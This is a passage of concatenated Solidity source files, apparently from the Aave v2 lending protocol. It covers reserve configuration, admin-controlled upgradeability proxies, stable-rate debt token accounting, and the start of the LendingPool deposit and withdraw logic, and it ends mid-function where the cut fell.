asset. The values is always above 100%. A value of 105% * means the liquidator will receive a 5% bonus **/ function configureReserveAsCollateral( address asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); //validation of the parameters: the LTV can //only be lower or equal than the liquidation threshold //(otherwise a loan against the asset would cause instantaneous liquidation) require(ltv <= liquidationThreshold, Errors.LPC_INVALID_CONFIGURATION); if (liquidationThreshold != 0) { //liquidation bonus must be bigger than 100.00%, otherwise the liquidator would receive less //collateral than needed to cover the debt require( liquidationBonus > PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); //if threshold * bonus is less than PERCENTAGE_FACTOR, it's guaranteed that at the moment //a loan is taken there is enough collateral available to cover the liquidation bonus require( liquidationThreshold.percentMul(liquidationBonus) <= PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); } else { require(liquidationBonus == 0, Errors.LPC_INVALID_CONFIGURATION); //if the liquidation threshold is being set to 0, // the reserve is being disabled as collateral. To do so, //we need to ensure no liquidity is deposited _checkNoLiquidity(asset); } currentConfig.setLtv(ltv); currentConfig.setLiquidationThreshold(liquidationThreshold); currentConfig.setLiquidationBonus(liquidationBonus); pool.setConfiguration(asset, currentConfig.data); emit CollateralConfigurationChanged(asset, ltv, liquidationThreshold, liquidationBonus); } /** * @dev Enable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function enableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(true); pool.setConfiguration(asset, currentConfig.data); emit StableRateEnabledOnReserve(asset); } /** * @dev Disable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit StableRateDisabledOnReserve(asset); } /** * @dev Activates a reserve * @param asset The address of the underlying asset of the reserve **/ function activateReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveActivated(asset); } /** * @dev Deactivates a reserve * @param asset The address of the underlying asset of the reserve **/ function deactivateReserve(address asset) external onlyPoolAdmin { _checkNoLiquidity(asset); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveDeactivated(asset); } /** * @dev Freezes a reserve. A frozen reserve doesn't allow any new deposit, borrow or rate swap * but allows repayments, liquidations, rate rebalances and withdrawals * @param asset The address of the underlying asset of the reserve **/ function freezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveFrozen(asset); } /** * @dev Unfreezes a reserve * @param asset The address of the underlying asset of the reserve **/ function unfreezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveUnfrozen(asset); } /** * @dev Updates the reserve factor of a reserve * @param asset The address of the underlying asset of the reserve * @param reserveFactor The new reserve factor of the reserve **/ function setReserveFactor(address asset, uint256 reserveFactor) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setReserveFactor(reserveFactor); pool.setConfiguration(asset, currentConfig.data); emit ReserveFactorChanged(asset, reserveFactor); } /** * @dev Sets the interest rate strategy of a reserve * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The new address of the interest strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external onlyPoolAdmin { pool.setReserveInterestRateStrategyAddress(asset, rateStrategyAddress); emit ReserveInterestRateStrategyChanged(asset, rateStrategyAddress); } /** * @dev pauses or unpauses all the actions of the protocol, including aToken transfers * @param val true if protocol needs to be paused, false otherwise **/ function setPoolPause(bool val) external onlyEmergencyAdmin { pool.setPause(val); } function _initTokenWithProxy(address implementation, bytes memory initParams) internal returns (address) { InitializableImmutableAdminUpgradeabilityProxy proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(implementation, initParams); return address(proxy); } function _upgradeTokenImplementation( address proxyAddress, address implementation, bytes memory initParams ) internal { InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress)); proxy.upgradeToAndCall(implementation, initParams); } function _checkNoLiquidity(address asset) internal view { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); uint256 availableLiquidity = IERC20Detailed(asset).balanceOf(reserveData.aTokenAddress); require( availableLiquidity == 0 && reserveData.currentLiquidityRate == 0, Errors.LPC_RESERVE_LIQUIDITY_NOT_0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseImmutableAdminUpgradeabilityProxy.sol'; import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function */ contract InitializableImmutableAdminUpgradeabilityProxy is BaseImmutableAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {} /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) { BaseImmutableAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface ILendingPoolConfigurator { struct InitReserveInput { address aTokenImpl; address stableDebtTokenImpl; address variableDebtTokenImpl; uint8 underlyingAssetDecimals; address interestRateStrategyAddress; address underlyingAsset; address treasury; address incentivesController; string underlyingAssetName; string aTokenName; string aTokenSymbol; string variableDebtTokenName; string variableDebtTokenSymbol; string stableDebtTokenName; string stableDebtTokenSymbol; bytes params; } struct UpdateATokenInput { address asset; address treasury; address incentivesController; string name; string symbol; address implementation; bytes params; } struct UpdateDebtTokenInput { address asset; address incentivesController; string name; string symbol; address implementation; bytes params; } /** * @dev Emitted when a reserve is initialized. * @param asset The address of the underlying asset of the reserve * @param aToken The address of the associated aToken contract * @param stableDebtToken The address of the associated stable rate debt token * @param variableDebtToken The address of the associated variable rate debt token * @param interestRateStrategyAddress The address of the interest rate strategy for the reserve **/ event ReserveInitialized( address indexed asset, address indexed aToken, address stableDebtToken, address variableDebtToken, address interestRateStrategyAddress ); /** * @dev Emitted when borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve * @param stableRateEnabled True if stable rate borrowing is enabled, false otherwise **/ event BorrowingEnabledOnReserve(address indexed asset, bool stableRateEnabled); /** * @dev Emitted when borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event BorrowingDisabledOnReserve(address indexed asset); /** * @dev Emitted when the collateralization risk parameters for the specified asset are updated. * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset **/ event CollateralConfigurationChanged( address indexed asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ); /** * @dev Emitted when stable rate borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateEnabledOnReserve(address indexed asset); /** * @dev Emitted when stable rate borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateDisabledOnReserve(address indexed asset); /** * @dev Emitted when a reserve is activated * @param asset The address of the underlying asset of the reserve **/ event ReserveActivated(address indexed asset); /** * @dev Emitted when a reserve is deactivated * @param asset The address of the underlying asset of the reserve **/ event ReserveDeactivated(address indexed asset); /** * @dev Emitted when a reserve is frozen * @param asset The address of the underlying asset of the reserve **/ event ReserveFrozen(address indexed asset); /** * @dev Emitted when a reserve is unfrozen * @param asset The address of the underlying asset of the reserve **/ event ReserveUnfrozen(address indexed asset); /** * @dev Emitted when a reserve factor is updated * @param asset The address of the underlying asset of the reserve * @param factor The new reserve factor **/ event ReserveFactorChanged(address indexed asset, uint256 factor); /** * @dev Emitted when the reserve decimals are updated * @param asset The address of the underlying asset of the reserve * @param decimals The new decimals **/ event ReserveDecimalsChanged(address indexed asset, uint256 decimals); /** * @dev Emitted when a reserve interest strategy contract is updated * @param asset The address of the underlying asset of the reserve * @param strategy The new address of the interest strategy contract **/ event ReserveInterestRateStrategyChanged(address indexed asset, address strategy); /** * @dev Emitted when an aToken implementation is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The aToken proxy address * @param implementation The new aToken implementation **/ event ATokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a stable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The stable debt token proxy address * @param implementation The new aToken implementation **/ event StableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a variable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The variable debt token proxy address * @param implementation The new aToken implementation **/ event VariableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol'; /** * @title BaseImmutableAdminUpgradeabilityProxy * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. The admin role is stored in an immutable, which * helps saving transactions costs * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { address immutable ADMIN; constructor(address admin) public { ADMIN = admin; } modifier ifAdmin() { if (msg.sender == ADMIN) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return ADMIN; } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './Proxy.sol'; import '../contracts/Address.sol'; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { //solium-disable-next-line assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {MathUtils} from '../libraries/math/MathUtils.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title StableDebtToken * @notice Implements a stable debt token to track the borrowing positions of users * at stable rate mode * @author Aave **/ contract StableDebtToken is IStableDebtToken, DebtTokenBase { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; uint256 internal _avgStableRate; mapping(address => uint40) internal _timestamps; mapping(address => uint256) internal _usersStableRate; uint40 internal _totalSupplyTimestamp; ILendingPool internal _pool; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) public override initializer { _setName(debtTokenName); _setSymbol(debtTokenSymbol); _setDecimals(debtTokenDecimals); _pool = pool; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), address(incentivesController), debtTokenDecimals, debtTokenName, debtTokenSymbol, params ); } /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Returns the average stable rate across all the stable rate debt * @return the average stable rate **/ function getAverageStableRate() external view virtual override returns (uint256) { return _avgStableRate; } /** * @dev Returns the timestamp of the last user action * @return The last update timestamp **/ function getUserLastUpdated(address user) external view virtual override returns (uint40) { return _timestamps[user]; } /** * @dev Returns the stable rate of the user * @param user The address of the user * @return The stable rate of user **/ function getUserStableRate(address user) external view virtual override returns (uint256) { return _usersStableRate[user]; } /** * @dev Calculates the current user debt balance * @return The accumulated debt of the user **/ function balanceOf(address account) public view virtual override returns (uint256) { uint256 accountBalance = super.balanceOf(account); uint256 stableRate = _usersStableRate[account]; if (accountBalance == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]); return accountBalance.rayMul(cumulatedInterest); } struct MintLocalVars { uint256 previousSupply; uint256 nextSupply; uint256 amountInRay; uint256 newStableRate; uint256 currentAvgStableRate; } /** * @dev Mints debt token to the `onBehalfOf` address. * - Only callable by the LendingPool * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external override onlyLendingPool returns (bool) { MintLocalVars memory vars; if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf); vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay(); vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay()); require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW); _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply); emit Transfer(address(0), onBehalfOf, amount); emit Mint( user, onBehalfOf, amount, currentBalance, balanceIncrease, vars.newStableRate, vars.currentAvgStableRate, vars.nextSupply ); return currentBalance == 0; } /** * @dev Burns debt of `user` * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external override onlyLendingPool { (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user); uint256 previousSupply = totalSupply(); uint256 newAvgStableRate = 0; uint256 nextSupply = 0; uint256 userStableRate = _usersStableRate[user]; // Since the total supply and each single user debt accrue separately, // there might be accumulation errors so that the last borrower repaying // mght actually try to repay more than the available debt supply. // In this case we simply set the total supply and the avg stable rate to 0 if (previousSupply <= amount) { _avgStableRate = 0; _totalSupply = 0; } else { nextSupply = _totalSupply = previousSupply.sub(amount); uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay()); uint256 secondTerm = userStableRate.rayMul(amount.wadToRay()); // For the same reason described above, when the last user is repaying it might // happen that user rate * user balance > avg rate * total supply. In that case, // we simply set the avg rate to 0 if (secondTerm >= firstTerm) { newAvgStableRate = _avgStableRate = _totalSupply = 0; } else { newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay()); } } if (amount == currentBalance) { _usersStableRate[user] = 0; _timestamps[user] = 0; } else { //solium-disable-next-line _timestamps[user] = uint40(block.timestamp); } //solium-disable-next-line _totalSupplyTimestamp = uint40(block.timestamp); if (balanceIncrease > amount) { uint256 amountToMint = balanceIncrease.sub(amount); _mint(user, amountToMint, previousSupply); emit Mint( user, user, amountToMint, currentBalance, balanceIncrease, userStableRate, newAvgStableRate, nextSupply ); } else { uint256 amountToBurn = amount.sub(balanceIncrease); _burn(user, amountToBurn, previousSupply); emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply); } emit Transfer(user, address(0), amount); } /** * @dev Calculates the increase in balance since the last user interaction * @param user The address of the user for which the interest is being accumulated * @return The previous principal balance, the new principal balance and the balance increase **/ function _calculateBalanceIncrease(address user) internal view returns ( uint256, uint256, uint256 ) { uint256 previousPrincipalBalance = super.balanceOf(user); if (previousPrincipalBalance == 0) { return (0, 0, 0); } // Calculation of the accrued interest since the last accumulation uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance); return ( previousPrincipalBalance, previousPrincipalBalance.add(balanceIncrease), balanceIncrease ); } /** * @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp **/ function getSupplyData() public view override returns ( uint256, uint256, uint256, uint40 ) { uint256 avgRate = _avgStableRate; return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp); } /** * @dev Returns the the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() public view override returns (uint256, uint256) { uint256 avgRate = _avgStableRate; return (_calcTotalSupply(avgRate), avgRate); } /** * @dev Returns the total supply **/ function totalSupply() public view override returns (uint256) { return _calcTotalSupply(_avgStableRate); } /** * @dev Returns the timestamp at which the total supply was updated **/ function getTotalSupplyLastUpdated() public view override returns (uint40) { return _totalSupplyTimestamp; } /** * @dev Returns the principal debt balance of the user from * @param user The user's address * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev For internal usage in the logic of the parent contracts **/ function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } /** * @dev For internal usage in the logic of the parent contracts **/ function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } /** * @dev For internal usage in the logic of the parent contracts **/ function _getLendingPool() internal view override returns (ILendingPool) { return _pool; } /** * @dev Calculates the total supply * @param avgRate The average rate at which the total supply increases * @return The debt balance of the user since the last burn/mint action **/ function _calcTotalSupply(uint256 avgRate) internal view virtual returns (uint256) { uint256 principalSupply = super.totalSupply(); if (principalSupply == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(avgRate, _totalSupplyTimestamp); return principalSupply.rayMul(cumulatedInterest); } /** * @dev Mints stable debt tokens to an user * @param account The account receiving the debt tokens * @param amount The amount being minted * @param oldTotalSupply the total supply before the minting event **/ function _mint( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } /** * @dev Burns stable debt tokens of an user * @param account The user getting his debt burned * @param amount The amount being burned * @param oldTotalSupply The total supply before the burning event **/ function _burn( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, Errors.SDT_BURN_EXCEEDS_BALANCE); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {StableDebtToken} from '../../protocol/tokenization/StableDebtToken.sol'; contract MockStableDebtToken is StableDebtToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IFlashLoanReceiver} from '../../flashloan/interfaces/IFlashLoanReceiver.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPool contract * @dev Main point of interaction with an Aave protocol's market * - Users can: * # Deposit * # Withdraw * # Borrow * # Repay * # Swap their loans between variable and stable rate * # Enable/disable their deposits as collateral rebalance stable rate borrow positions * # Liquidate positions * # Execute Flash Loans * - To be covered by a proxy contract, owned by the LendingPoolAddressesProvider of the specific market * - All admin functions are callable by the LendingPoolConfigurator contract defined also in the * LendingPoolAddressesProvider * @author Aave **/ contract LendingPool is VersionedInitializable, ILendingPool, LendingPoolStorage { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; uint256 public constant LENDINGPOOL_REVISION = 0x2; modifier whenNotPaused() { _whenNotPaused(); _; } modifier onlyLendingPoolConfigurator() { _onlyLendingPoolConfigurator(); _; } function _whenNotPaused() internal view { require(!_paused, Errors.LP_IS_PAUSED); } function _onlyLendingPoolConfigurator() internal view { require( _addressesProvider.getLendingPoolConfigurator() == msg.sender, Errors.LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR ); } function getRevision() internal pure override returns (uint256) { return LENDINGPOOL_REVISION; } /** * @dev Function is invoked by the proxy contract when the LendingPool contract is added to the * LendingPoolAddressesProvider of the market. * - Caching the address of the LendingPoolAddressesProvider in order to reduce gas consumption * on subsequent operations * @param provider The address of the LendingPoolAddressesProvider **/ function initialize(ILendingPoolAddressesProvider provider) public initializer { _addressesProvider = provider; _maxStableRateBorrowSizePercent = 2500; _flashLoanPremiumTotal = 9; _maxNumberOfReserves = 128; } /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address aToken = reserve.aTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0); IERC20(asset).safeTransferFrom(msg.sender, aToken, amount); bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode); } /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address aToken = reserve.aTokenAddress; uint256 userBalance = IAToken(aToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, 